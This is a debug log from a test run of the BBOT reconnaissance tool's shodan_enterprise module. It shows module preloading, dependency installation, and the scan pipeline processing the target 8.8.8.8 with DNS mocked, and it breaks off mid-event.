09:05:11,048 [DEBUG] bbot.module_loader modules.py:152 Preloading host_header from cache -2026-03-02 09:05:11,048 [DEBUG] bbot.module_loader modules.py:152 Preloading securitytxt from cache -2026-03-02 09:05:11,049 [DEBUG] bbot.module_loader modules.py:152 Preloading dnsdumpster from cache -2026-03-02 09:05:11,049 [DEBUG] bbot.module_loader modules.py:152 Preloading bevigil from cache -2026-03-02 09:05:11,049 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_google from cache -2026-03-02 09:05:11,050 [DEBUG] bbot.module_loader modules.py:152 Preloading git from cache -2026-03-02 09:05:11,050 [DEBUG] bbot.module_loader modules.py:152 Preloading azure_realm from cache -2026-03-02 09:05:11,050 [DEBUG] bbot.module_loader modules.py:152 Preloading extractous from cache -2026-03-02 09:05:11,053 [DEBUG] bbot.module_loader modules.py:152 Preloading credshed from cache -2026-03-02 09:05:11,053 [DEBUG] bbot.module_loader modules.py:152 Preloading fullhunt from cache -2026-03-02 09:05:11,054 [DEBUG] bbot.module_loader modules.py:152 Preloading social from cache -2026-03-02 09:05:11,054 [DEBUG] bbot.module_loader modules.py:152 Preloading pgp from cache -2026-03-02 09:05:11,054 [DEBUG] bbot.module_loader modules.py:152 Preloading azure_tenant from cache -2026-03-02 09:05:11,055 [DEBUG] bbot.module_loader modules.py:152 Preloading virustotal from cache -2026-03-02 09:05:11,055 [DEBUG] bbot.module_loader modules.py:152 Preloading vhost from cache -2026-03-02 09:05:11,056 [DEBUG] bbot.module_loader modules.py:152 Preloading shodan_enterprise from cache -2026-03-02 09:05:11,056 [DEBUG] bbot.module_loader modules.py:152 Preloading dnsbrute from cache -2026-03-02 09:05:11,057 [DEBUG] bbot.module_loader modules.py:152 Preloading shodan_dns from cache -2026-03-02 09:05:11,057 [DEBUG] bbot.module_loader modules.py:152 Preloading ip2location from cache -2026-03-02 09:05:11,057 [DEBUG] bbot.module_loader modules.py:152 Preloading rapiddns from cache -2026-03-02 09:05:11,058 [DEBUG] bbot.module_loader modules.py:152 Preloading wpscan from cache -2026-03-02 09:05:11,058 [DEBUG] bbot.module_loader modules.py:152 Preloading dnscommonsrv from cache -2026-03-02 09:05:11,059 [DEBUG] bbot.module_loader modules.py:152 Preloading passivetotal from cache -2026-03-02 09:05:11,059 [DEBUG] bbot.module_loader modules.py:152 Preloading ntlm from cache -2026-03-02 09:05:11,059 [DEBUG] bbot.module_loader modules.py:152 Preloading trickest from cache -2026-03-02 09:05:11,060 [DEBUG] bbot.module_loader modules.py:152 Preloading google_playstore from cache -2026-03-02 09:05:11,060 [DEBUG] bbot.module_loader modules.py:152 Preloading github_usersearch from cache -2026-03-02 09:05:11,060 [DEBUG] bbot.module_loader modules.py:152 Preloading subdomainradar from cache -2026-03-02 09:05:11,061 [DEBUG] bbot.module_loader modules.py:152 Preloading dockerhub from cache -2026-03-02 09:05:11,061 [DEBUG] bbot.module_loader modules.py:152 Preloading medusa from cache -2026-03-02 09:05:11,062 [DEBUG] bbot.module_loader modules.py:152 Preloading digitorus from cache -2026-03-02 09:05:11,062 [DEBUG] bbot.module_loader modules.py:152 Preloading wafw00f from cache -2026-03-02 09:05:11,063 [DEBUG] bbot.module_loader modules.py:152 Preloading generic_ssrf from cache -2026-03-02 09:05:11,063 [DEBUG] bbot.module_loader modules.py:152 Preloading filedownload from cache -2026-03-02 09:05:11,066 [DEBUG] bbot.module_loader modules.py:152 Preloading chaos from cache -2026-03-02 09:05:11,066 [DEBUG] bbot.module_loader modules.py:152 Preloading httpx from cache -2026-03-02 09:05:11,067 [DEBUG] bbot.module_loader modules.py:152 Preloading baddns_zone from cache -2026-03-02 09:05:11,067 [DEBUG] bbot.module_loader modules.py:152 Preloading graphql_introspection from cache -2026-03-02 09:05:11,068 [DEBUG] bbot.module_loader modules.py:152 Preloading paramminer_headers from cache -2026-03-02 09:05:11,068 [DEBUG] bbot.module_loader modules.py:152 Preloading securitytrails from cache -2026-03-02 09:05:11,069 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_microsoft from cache -2026-03-02 09:05:11,069 [DEBUG] bbot.module_loader modules.py:152 Preloading viewdns from cache -2026-03-02 09:05:11,070 [DEBUG] bbot.module_loader modules.py:152 Preloading url_manipulation from cache -2026-03-02 09:05:11,070 [DEBUG] bbot.module_loader modules.py:152 Preloading ffuf_shortnames from cache -2026-03-02 09:05:11,071 [DEBUG] bbot.module_loader modules.py:152 Preloading censys_ip from cache -2026-03-02 09:05:11,071 [DEBUG] bbot.module_loader modules.py:152 Preloading builtwith from cache -2026-03-02 09:05:11,072 [DEBUG] bbot.module_loader modules.py:152 Preloading certspotter from cache -2026-03-02 09:05:11,072 [DEBUG] bbot.module_loader modules.py:152 Preloading sslcert from cache -2026-03-02 09:05:11,072 [DEBUG] bbot.module_loader modules.py:152 Preloading gitdumper from cache -2026-03-02 09:05:11,073 [DEBUG] bbot.module_loader modules.py:152 Preloading shodan_idb from cache -2026-03-02 09:05:11,073 [DEBUG] bbot.module_loader modules.py:152 Preloading hackertarget from cache -2026-03-02 09:05:11,074 [DEBUG] bbot.module_loader modules.py:152 Preloading c99 from cache -2026-03-02 09:05:11,074 [DEBUG] bbot.module_loader modules.py:152 Preloading newsletters from cache -2026-03-02 09:05:11,074 [DEBUG] bbot.module_loader modules.py:152 Preloading apkpure from cache -2026-03-02 09:05:11,075 [DEBUG] bbot.module_loader modules.py:152 Preloading crt from cache -2026-03-02 09:05:11,075 [DEBUG] bbot.module_loader modules.py:152 Preloading postman_download from cache -2026-03-02 09:05:11,075 [DEBUG] bbot.module_loader modules.py:152 Preloading hunt from cache -2026-03-02 09:05:11,076 [DEBUG] bbot.module_loader modules.py:152 Preloading ffuf from cache -2026-03-02 09:05:11,076 [DEBUG] bbot.module_loader modules.py:152 Preloading dnsbrute_mutations from cache -2026-03-02 09:05:11,077 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_firebase from cache -2026-03-02 09:05:11,077 [DEBUG] bbot.module_loader modules.py:152 Preloading nuclei from cache -2026-03-02 09:05:11,078 [DEBUG] bbot.module_loader modules.py:152 Preloading censys_dns from cache -2026-03-02 09:05:11,078 [DEBUG] bbot.module_loader modules.py:152 Preloading retirejs from cache -2026-03-02 09:05:11,079 [DEBUG] bbot.module_loader modules.py:152 Preloading git_clone from cache -2026-03-02 09:05:11,079 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_amazon from cache -2026-03-02 09:05:11,080 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_digitalocean from cache -2026-03-02 09:05:11,080 [DEBUG] bbot.module_loader modules.py:152 Preloading skymem from cache -2026-03-02 09:05:11,080 [DEBUG] bbot.module_loader modules.py:152 Preloading hunterio from cache -2026-03-02 09:05:11,081 [DEBUG] bbot.module_loader modules.py:152 Preloading paramminer_cookies from cache -2026-03-02 09:05:11,081 [DEBUG] bbot.module_loader modules.py:152 Preloading postman from cache -2026-03-02 09:05:11,082 [DEBUG] bbot.module_loader modules.py:152 Preloading code_repository from cache -2026-03-02 09:05:11,082 [DEBUG] bbot.module_loader modules.py:152 Preloading gitlab_com from cache -2026-03-02 09:05:11,082 [DEBUG] bbot.module_loader modules.py:152 Preloading dnstlsrpt from cache -2026-03-02 09:05:11,083 [DEBUG] bbot.module_loader modules.py:152 Preloading baddns from cache -2026-03-02 09:05:11,083 [DEBUG] bbot.module_loader modules.py:152 Preloading subdomaincenter from cache -2026-03-02 09:05:11,084 [DEBUG] bbot.module_loader modules.py:152 Preloading wayback from cache -2026-03-02 09:05:11,084 [DEBUG] bbot.module_loader modules.py:152 Preloading ipstack from cache -2026-03-02 09:05:11,084 [DEBUG] bbot.module_loader modules.py:152 Preloading emailformat from cache -2026-03-02 09:05:11,085 [DEBUG] bbot.module_loader modules.py:152 Preloading fingerprintx from cache -2026-03-02 09:05:11,085 [DEBUG] bbot.module_loader modules.py:152 Preloading dnscaa from cache -2026-03-02 09:05:11,086 [DEBUG] bbot.module_loader modules.py:152 Preloading bypass403 from cache -2026-03-02 09:05:11,086 [DEBUG] bbot.module_loader modules.py:152 Preloading leakix from cache -2026-03-02 09:05:11,086 [DEBUG] bbot.module_loader modules.py:152 Preloading paramminer_getparams from cache -2026-03-02 09:05:11,087 [DEBUG] bbot.module_loader modules.py:152 Preloading reflected_parameters from cache -2026-03-02 09:05:11,087 [DEBUG] bbot.module_loader modules.py:152 Preloading crt_db from cache -2026-03-02 09:05:11,088 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_file_enum from cache -2026-03-02 09:05:11,088 [DEBUG] bbot.module_loader modules.py:152 Preloading portscan from cache -2026-03-02 09:05:11,089 [DEBUG] bbot.module_loader modules.py:152 Preloading baddns_direct from cache -2026-03-02 09:05:11,089 [DEBUG] bbot.module_loader modules.py:152 Preloading ajaxpro from cache -2026-03-02 09:05:11,089 [DEBUG] bbot.module_loader modules.py:152 Preloading telerik from cache -2026-03-02 09:05:11,090 [DEBUG] bbot.module_loader modules.py:152 Preloading dnsbimi from cache -2026-03-02 09:05:11,090 [DEBUG] bbot.module_loader modules.py:152 Preloading aspnet_bin_exposure from cache -2026-03-02 09:05:11,091 [DEBUG] bbot.module_loader modules.py:152 Preloading otx from cache -2026-03-02 09:05:11,091 [DEBUG] bbot.module_loader modules.py:152 Preloading github_codesearch from cache -2026-03-02 09:05:11,091 [DEBUG] bbot.module_loader modules.py:152 Preloading dehashed from cache -2026-03-02 09:05:11,092 [DEBUG] bbot.module_loader modules.py:152 Preloading gowitness from cache -2026-03-02 09:05:11,092 [DEBUG] bbot.module_loader modules.py:152 Preloading docker_pull from cache -2026-03-02 09:05:11,093 [DEBUG] bbot.module_loader modules.py:152 Preloading ipneighbor from cache -2026-03-02 09:05:11,093 [DEBUG] bbot.module_loader modules.py:152 Preloading bufferoverrun from cache -2026-03-02 09:05:11,094 [DEBUG] bbot.module_loader modules.py:152 Preloading gitlab_onprem from cache -2026-03-02 09:05:11,095 [DEBUG] bbot.module_loader modules.py:152 Preloading iis_shortnames from cache -2026-03-02 09:05:11,095 [DEBUG] bbot.module_loader modules.py:152 Preloading badsecrets from cache -2026-03-02 09:05:11,096 [DEBUG] bbot.module_loader modules.py:152 Preloading myssl from cache -2026-03-02 09:05:11,096 [DEBUG] bbot.module_loader modules.py:152 Preloading github_workflows from cache -2026-03-02 09:05:11,096 [DEBUG] bbot.module_loader modules.py:152 Preloading dotnetnuke from cache -2026-03-02 09:05:11,097 [DEBUG] bbot.module_loader modules.py:152 Preloading smuggler from cache -2026-03-02 09:05:11,097 [DEBUG] bbot.module_loader modules.py:152 Preloading robots from cache -2026-03-02 09:05:11,098 [DEBUG] bbot.module_loader modules.py:152 Preloading anubisdb from cache -2026-03-02 09:05:11,098 [DEBUG] bbot.module_loader modules.py:152 Preloading oauth from cache -2026-03-02 09:05:11,098 [DEBUG] bbot.module_loader modules.py:152 Preloading github_org from cache -2026-03-02 09:05:11,099 [DEBUG] bbot.module_loader modules.py:152 Preloading portfilter from cache -2026-03-02 09:05:11,099 [DEBUG] bbot.module_loader modules.py:152 Preloading sitedossier from cache -2026-03-02 09:05:11,100 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/DEV/bbot/bbot/modules/report -2026-03-02 09:05:11,100 [DEBUG] bbot.module_loader modules.py:152 Preloading asn from cache -2026-03-02 09:05:11,100 [DEBUG] bbot.module_loader modules.py:152 Preloading affiliates from cache -2026-03-02 09:05:11,101 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/DEV/bbot/bbot/modules/deadly -2026-03-02 09:05:11,101 [DEBUG] bbot.module_loader modules.py:152 Preloading legba from cache -2026-03-02 09:05:11,936 [DEBUG] asyncio selector_events.py:64 Using selector: KqueueSelector -2026-03-02 09:05:11,937 [DEBUG] asyncio selector_events.py:64 Using selector: KqueueSelector -2026-03-02 09:05:11,937 [INFO] bbot base.py:99 Starting shodan_enterprise module test -2026-03-02 09:05:12,034 [DEBUG] bbot.presets preset.py:1003 Preset : Getting baked -2026-03-02 09:05:12,425 [DEBUG] bbot.presets preset.py:1003 Preset : Adding module "shodan_enterprise" of type "scan" -2026-03-02 09:05:12,426 [DEBUG] bbot.presets preset.py:1003 Preset : Adding module "python" of type "output" -2026-03-02 09:05:12,426 [DEBUG] bbot.presets preset.py:1003 Preset : Adding module "unarchive" of type "internal" -2026-03-02 09:05:12,426 [DEBUG] bbot.presets preset.py:1003 Preset : Adding module "dnsresolve" of type "internal" -2026-03-02 09:05:12,560 [WARNING] bbot.scanner scanner.py:1211 You have enabled custom HTTP headers. These will be attached to all in-scope requests and all requests made by httpx. -2026-03-02 09:05:12,561 [DEBUG] bbot base.py:103 Mocking DNS -2026-03-02 09:05:12,667 [DEBUG] bbot base.py:105 Executing setup_before_prep() -2026-03-02 09:05:12,670 [DEBUG] bbot base.py:107 Executing scan._prep() -2026-03-02 09:05:12,696 [HUGEINFO] bbot.scanner logger.py:151 Scan seeded with 1 targets (1 in whitelist) -2026-03-02 09:05:12,698 [INFO] bbot.core.helpers.depsinstaller installer.py:470 Installing Ansible Community General Collection -2026-03-02 09:05:12,698 [HUGEVERBOSE] bbot.core.helpers.command logger.py:151 run: /Users/andriikerekhovetskyi/Library/Caches/pypoetry/virtualenvs/bbot-tTmN0996-py3.13/bin/ansible-galaxy collection install community.general -2026-03-02 09:05:13,108 [INFO] bbot.core.helpers.depsinstaller installer.py:475 Successfully installed Ansible Community General Collection -2026-03-02 09:05:13,109 [INFO] bbot.core.helpers.depsinstaller installer.py:492 Installing core BBOT dependencies: openssl_dev_headers -2026-03-02 09:05:15,386 [SUCCESS] bbot.core.helpers.depsinstaller logger.py:151 Authentication successful -2026-03-02 09:05:15,386 [DEBUG] bbot.core.helpers.depsinstaller installer.py:363 ansible_run(module=None, args=None, ansible_args=None) -2026-03-02 09:05:15,387 [DEBUG] bbot.core.helpers.depsinstaller installer.py:375 { - "hosts": "all", - "tasks": [ - { - "name": "Install OpenSSL library and development headers (Debian/Ubuntu)", - "package": { - "name": [ - "libssl-dev", - "openssl" - ], - "state": "present" - }, - "become": false, - "when": "ansible_facts['os_family'] == 'Debian'", - "ignore_errors": true - }, - { - "name": "Install OpenSSL library and development headers (RedHat/CentOS/Fedora)", - "package": { - "name": [ - "openssl", - "openssl-devel" - ], - "state": "present" - }, - "become": false, - "when": "ansible_facts['os_family'] == 'RedHat' or ansible_facts['os_family'] == 'Suse' ", - "ignore_errors": true - }, - { - "name": "Install OpenSSL library and development headers (Arch)", - "package": { - "name": [ - "openssl" - ], - "state": "present" - }, - "become": false, - "when": "ansible_facts['os_family'] == 'Archlinux'", - "ignore_errors": true - }, - { - "name": "Install OpenSSL library and development headers (Alpine)", - "package": { - "name": [ - "openssl", - "openssl-dev" - ], - "state": "present" - }, - "become": false, - "when": "ansible_facts['os_family'] == 'Alpine'", - "ignore_errors": true - }, - { - "name": "Install OpenSSL library and development headers (FreeBSD)", - "package": { - "name": [ - "openssl" - ], - "state": "present" - }, - "become": false, - "when": "ansible_facts['os_family'] == 'FreeBSD'", - "ignore_errors": true - } - ] -} -2026-03-02 09:05:19,176 [DEBUG] bbot.core.helpers.depsinstaller installer.py:397 Ansible status: successful -2026-03-02 09:05:19,177 [DEBUG] bbot.core.helpers.depsinstaller installer.py:398 Ansible return code: 0 -2026-03-02 09:05:19,181 [DEBUG] bbot.core.helpers.depsinstaller installer.py:170 Installing dnsresolve - Preloaded Deps {'modules': [], 'pip': [], 'pip_constraints': [], 'shell': [], 'apt': [], 'ansible': [], 'common': []} -2026-03-02 09:05:19,181 [DEBUG] bbot.core.helpers.depsinstaller installer.py:183 No dependency work to do for module "dnsresolve" -2026-03-02 09:05:19,181 [DEBUG] bbot.core.helpers.depsinstaller installer.py:170 Installing python - Preloaded Deps {'modules': [], 'pip': [], 'pip_constraints': [], 'shell': [], 'apt': [], 'ansible': [], 'common': []} -2026-03-02 09:05:19,181 [DEBUG] bbot.core.helpers.depsinstaller installer.py:183 No dependency work to do for module "python" -2026-03-02 09:05:19,182 [DEBUG] bbot.core.helpers.depsinstaller installer.py:170 Installing unarchive - Preloaded Deps {'modules': [], 'pip': [], 'pip_constraints': [], 'shell': [], 'apt': [], 'ansible': [], 'common': []} -2026-03-02 09:05:19,182 [DEBUG] bbot.core.helpers.depsinstaller installer.py:183 No dependency work to do for module "unarchive" -2026-03-02 09:05:19,182 [DEBUG] bbot.core.helpers.depsinstaller installer.py:170 Installing shodan_enterprise - Preloaded Deps {'modules': [], 'pip': ['shodan'], 'pip_constraints': [], 'shell': [], 'apt': [], 'ansible': [], 'common': []} -2026-03-02 09:05:19,182 [HUGEINFO] bbot.core.helpers.depsinstaller logger.py:151 Installing module dependencies. Please be patient, this may take a while. -2026-03-02 09:05:19,182 [VERBOSE] bbot.core.helpers.depsinstaller logger.py:151 Installing dependencies for module "shodan_enterprise" -2026-03-02 09:05:19,183 [INFO] bbot.core.helpers.depsinstaller installer.py:269 Installing the following pip packages: shodan -2026-03-02 09:05:19,185 [HUGEVERBOSE] bbot.core.helpers.command logger.py:151 run: /Users/andriikerekhovetskyi/Library/Caches/pypoetry/virtualenvs/bbot-tTmN0996-py3.13/bin/python -m pip install --upgrade shodan --constraint /private/tmp/.bbot_test/temp/iw6p5jt9qawpad6rnbt5 -2026-03-02 09:05:19,900 [INFO] bbot.core.helpers.depsinstaller installer.py:288 Requirement already satisfied: filelock>=3.0.8 in /Users/andriikerekhovetskyi/Library/Caches/pypoetry/virtualenvs/bbot-tTmN0996-py3.13/lib/python3.13/site-packages (from tldextract->shodan) (3.18.0) -2026-03-02 09:05:19,901 [DEBUG] bbot.core.helpers.depsinstaller installer.py:202 Setup succeeded for module "shodan_enterprise" -2026-03-02 09:05:19,902 [VERBOSE] bbot.scanner logger.py:151 Loading 1 scan modules: shodan_enterprise -2026-03-02 09:05:19,970 [VERBOSE] bbot.scanner logger.py:151 Loaded module "shodan_enterprise" -2026-03-02 09:05:19,971 [INFO] bbot.scanner scanner.py:1191 Loaded 1/1 scan modules (shodan_enterprise) -2026-03-02 09:05:19,971 [VERBOSE] bbot.scanner logger.py:151 Loading 2 internal modules: dnsresolve,unarchive -2026-03-02 09:05:19,972 [VERBOSE] bbot.scanner logger.py:151 Loaded module "dnsresolve" -2026-03-02 09:05:19,972 [VERBOSE] bbot.scanner logger.py:151 Loaded module "unarchive" -2026-03-02 09:05:19,972 [INFO] bbot.scanner scanner.py:1191 Loaded 2/2 internal modules (dnsresolve,unarchive) -2026-03-02 09:05:19,973 [VERBOSE] bbot.scanner logger.py:151 Loading 1 output modules: python -2026-03-02 09:05:19,973 [VERBOSE] bbot.scanner logger.py:151 Loaded module "python" -2026-03-02 09:05:19,973 [INFO] bbot.scanner scanner.py:1191 Loaded 1/1 output modules, (python) -2026-03-02 09:05:19,974 [VERBOSE] bbot.scanner logger.py:151 Setting up modules -2026-03-02 09:05:19,975 [DEBUG] bbot.modules._scan_ingress base.py:1563 Setting up module _scan_ingress -2026-03-02 09:05:19,975 [DEBUG] bbot.modules._scan_ingress base.py:1563 Running _scan_ingress.setup_deps() -2026-03-02 09:05:19,975 [DEBUG] bbot.modules._scan_ingress base.py:1563 Running _scan_ingress.setup() -2026-03-02 09:05:19,975 [DEBUG] bbot.modules._scan_ingress base.py:1563 Finished setting up module _scan_ingress -2026-03-02 09:05:19,975 [DEBUG] bbot.modules.dnsresolve base.py:1563 Setting up module dnsresolve -2026-03-02 09:05:19,975 [DEBUG] bbot.modules.dnsresolve base.py:1563 Running dnsresolve.setup_deps() -2026-03-02 09:05:19,975 [DEBUG] bbot.modules.dnsresolve base.py:1563 Running dnsresolve.setup() -2026-03-02 09:05:19,975 [DEBUG] bbot.modules.dnsresolve base.py:1563 Finished setting up module dnsresolve -2026-03-02 09:05:19,975 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Setting up module shodan_enterprise -2026-03-02 09:05:19,976 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Running shodan_enterprise.setup_deps() -2026-03-02 09:05:19,976 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Running shodan_enterprise.setup() -2026-03-02 09:05:19,976 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Finished setting up module shodan_enterprise -2026-03-02 09:05:19,976 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Setting up module unarchive -2026-03-02 09:05:19,977 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Running unarchive.setup_deps() -2026-03-02 09:05:19,977 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Running unarchive.setup() -2026-03-02 09:05:19,977 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Finished setting up module unarchive -2026-03-02 09:05:19,977 [DEBUG] bbot.modules.output.python base.py:1563 Setting up module python -2026-03-02 09:05:19,977 [DEBUG] bbot.modules.output.python base.py:1563 Running python.setup_deps() -2026-03-02 09:05:19,977 [DEBUG] bbot.modules.output.python base.py:1563 Running python.setup() -2026-03-02 09:05:19,978 [DEBUG] bbot.modules.output.python base.py:1563 Finished setting up module python -2026-03-02 09:05:19,978 [DEBUG] bbot.modules._scan_egress base.py:1563 Setting up module _scan_egress -2026-03-02 09:05:19,978 [DEBUG] bbot.modules._scan_egress base.py:1563 Running _scan_egress.setup_deps() -2026-03-02 09:05:19,978 [DEBUG] bbot.modules._scan_egress base.py:1563 Running _scan_egress.setup() -2026-03-02 09:05:19,978 [DEBUG] bbot.modules._scan_egress base.py:1563 Finished setting up module _scan_egress -2026-03-02 09:05:19,978 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for unarchive (success) -2026-03-02 09:05:19,979 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for shodan_enterprise (success) -2026-03-02 09:05:19,979 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for _scan_egress (success) -2026-03-02 09:05:19,979 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for _scan_ingress (success) -2026-03-02 09:05:19,979 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for dnsresolve (success) -2026-03-02 09:05:19,979 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for python (success) -2026-03-02 09:05:19,979 [DEBUG] bbot.scanner scanner.py:1176 Setting intercept module dnsresolve._incoming_event_queue to previous intercept module _scan_ingress.outgoing_event_queue -2026-03-02 09:05:19,980 [DEBUG] bbot.scanner scanner.py:1176 Setting intercept module _scan_egress._incoming_event_queue to previous intercept module dnsresolve.outgoing_event_queue -2026-03-02 09:05:19,980 [SUCCESS] bbot.scanner logger.py:151 Setup succeeded for 6/6 modules. -2026-03-02 09:05:19,980 [DEBUG] bbot base.py:109 Executing setup_after_prep() -2026-03-02 09:05:19,980 [DEBUG] bbot base.py:111 Starting scan -2026-03-02 09:05:20,062 [HUGESUCCESS] bbot.scanner logger.py:151 Starting scan testshodan_enterprise_test_ex9dqipr03 -2026-03-02 09:05:20,062 [VERBOSE] bbot.scanner logger.py:151 Starting module worker loops -2026-03-02 09:05:20,130 [VERBOSE] bbot.scanner logger.py:151 6 modules started -2026-03-02 09:05:20,130 [DEBUG] bbot.scanner scanner.py:1176 Setting scan status to STARTING -2026-03-02 09:05:20,130 [DEBUG] bbot.scanner scanner.py:1176 Setting scan status to RUNNING -2026-03-02 09:05:20,131 [VERBOSE] bbot.modules._scan_ingress logger.py:151 Target: IP_ADDRESS("8.8.8.8", module=TARGET, tags={'ipv4', 'distance-1', 'target'}) -2026-03-02 09:05:20,232 [DEBUG] bbot.modules._scan_ingress base.py:1563 SCAN("{'id': 'SCAN:b466938e42736b893524384e4f7d3ee5298527a4', 'name': 'testshodan_ente...", module=TARGET, tags=set()) passed post-check -2026-03-02 09:05:20,233 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting SCAN("{'id': 'SCAN:b466938e42736b893524384e4f7d3ee5298527a4', 'name': 'testshodan_ente...", module=TARGET, tags=set()) -2026-03-02 09:05:20,234 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding SCAN("{'id': 'SCAN:b466938e42736b893524384e4f7d3ee5298527a4', 'name': 'testshodan_ente...", module=TARGET, tags=set()) -2026-03-02 09:05:20,234 [DEBUG] bbot.modules._scan_ingress base.py:1563 IP_ADDRESS("8.8.8.8", module=TARGET, tags={'ipv4', 'distance-1', 'target'}) passed post-check -2026-03-02 09:05:20,235 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting IP_ADDRESS("8.8.8.8", module=TARGET, tags={'ipv4', 'distance-1', 'target'}) -2026-03-02 09:05:20,236 [DEBUG] bbot.modules.dnsresolve base.py:1563 Not intercepting SCAN("{'id': 'SCAN:b466938e42736b893524384e4f7d3ee5298527a4', 'name': 'testshodan_ente...", module=TARGET, tags=set()) because postcheck failed (it did not meet custom filter criteria: event does not have host attribute) -2026-03-02 09:05:20,236 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding SCAN("{'id': 'SCAN:b466938e42736b893524384e4f7d3ee5298527a4', 'name': 'testshodan_ente...", module=TARGET, tags=set()) -2026-03-02 09:05:20,237 [DEBUG] bbot.modules._scan_ingress base.py:1563 Making IP_ADDRESS("8.8.8.8", module=TARGET, tags={'ipv4', 'distance-1', 'target'}) in-scope because its main host matches the scan target -2026-03-02 09:05:20,237 [DEBUG] bbot.modules._scan_egress base.py:1563 SCAN("{'id': 'SCAN:b466938e42736b893524384e4f7d3ee5298527a4', 'name': 'testshodan_ente...", module=TARGET, tags=set()) passed post-check -2026-03-02 09:05:20,238 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting SCAN("{'id': 'SCAN:b466938e42736b893524384e4f7d3ee5298527a4', 'name': 'testshodan_ente...", module=TARGET, tags=set()) -2026-03-02 09:05:20,238 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding IP_ADDRESS("8.8.8.8", module=TARGET, tags={'ipv4', 'in-scope', 'target'}) -2026-03-02 09:05:20,238 [DEBUG] bbot.modules.dnsresolve base.py:1563 IP_ADDRESS("8.8.8.8", module=TARGET, tags={'ipv4', 'in-scope', 'target'}) passed post-check -2026-03-02 09:05:20,239 [DEBUG] bbot.modules.dnsresolve base.py:1563 Intercepting IP_ADDRESS("8.8.8.8", module=TARGET, tags={'ipv4', 'in-scope', 'target'}) -2026-03-02 09:05:20,239 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding SCAN("{'id': 'SCAN:b466938e42736b893524384e4f7d3ee5298527a4', 'name': 'testshodan_ente...", module=TARGET, tags=set()) -2026-03-02 09:05:20,240 [DEBUG] bbot.modules.output.python base.py:1563 Queueing SCAN("{'id': 'SCAN:b466938e42736b893524384e4f7d3ee5298527a4', 'name': 'testshodan_ente...", module=TARGET, tags=set()) because precheck succeeded -2026-03-02 09:05:20,243 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding IP_ADDRESS("8.8.8.8", module=TARGET, tags={'ipv4', 'in-scope', 'target'}) -2026-03-02 09:05:20,243 [DEBUG] bbot.modules._scan_egress base.py:1563 IP_ADDRESS("8.8.8.8", module=TARGET, tags={'ipv4', 'in-scope', 'target'}) passed post-check -2026-03-02 09:05:20,243 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting IP_ADDRESS("8.8.8.8", module=TARGET, tags={'ipv4', 'in-scope', 'target'}) -2026-03-02 09:05:20,244 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding IP_ADDRESS("8.8.8.8", module=TARGET, tags={'ipv4', 'in-scope', 'target'}) -2026-03-02 09:05:20,244 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Queueing IP_ADDRESS("8.8.8.8", module=TARGET, tags={'ipv4', 'in-scope', 'target'}) because precheck succeeded -2026-03-02 09:05:20,245 [DEBUG] bbot.modules.output.python base.py:1563 Queueing IP_ADDRESS("8.8.8.8", module=TARGET, tags={'ipv4', 'in-scope', 'target'}) because precheck succeeded -2026-03-02 09:05:20,245 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Got IP_ADDRESS("8.8.8.8", module=TARGET, tags={'ipv4', 'in-scope', 'target'}) from TARGET -2026-03-02 09:05:20,245 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 IP_ADDRESS("8.8.8.8", module=TARGET, tags={'ipv4', 'in-scope', 'target'}) passed post-check -2026-03-02 09:05:20,246 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Handling IP_ADDRESS("8.8.8.8", module=TARGET, tags={'ipv4', 'in-scope', 'target'}) -2026-03-02 09:05:20,247 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Finished handling IP_ADDRESS("8.8.8.8", module=TARGET, tags={'ipv4', 'in-scope', 'target'}) -2026-03-02 09:05:20,331 [DEBUG] bbot.modules.output.python base.py:1563 Got SCAN("{'id': 'SCAN:b466938e42736b893524384e4f7d3ee5298527a4', 'name': 'testshodan_ente...", module=TARGET, tags=set()) from TARGET -2026-03-02 09:05:20,332 [DEBUG] bbot.modules.output.python base.py:1563 SCAN("{'id': 'SCAN:b466938e42736b893524384e4f7d3ee5298527a4', 'name': 'testshodan_ente...", module=TARGET, tags=set()) passed post-check -2026-03-02 09:05:20,333 [DEBUG] bbot.modules.output.python base.py:1563 Got IP_ADDRESS("8.8.8.8", module=TARGET, tags={'ipv4', 'in-scope', 'target'}) from TARGET -2026-03-02 09:05:20,333 [DEBUG] bbot.modules.output.python base.py:1563 IP_ADDRESS("8.8.8.8", module=TARGET, tags={'ipv4', 'in-scope', 'target'}) passed post-check -2026-03-02 09:05:20,339 [DEBUG] bbot.modules._scan_ingress base.py:1563 TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'Google Public DNS'}", module=shodan_enterprise, tags={'nameserver', 'in-scope', 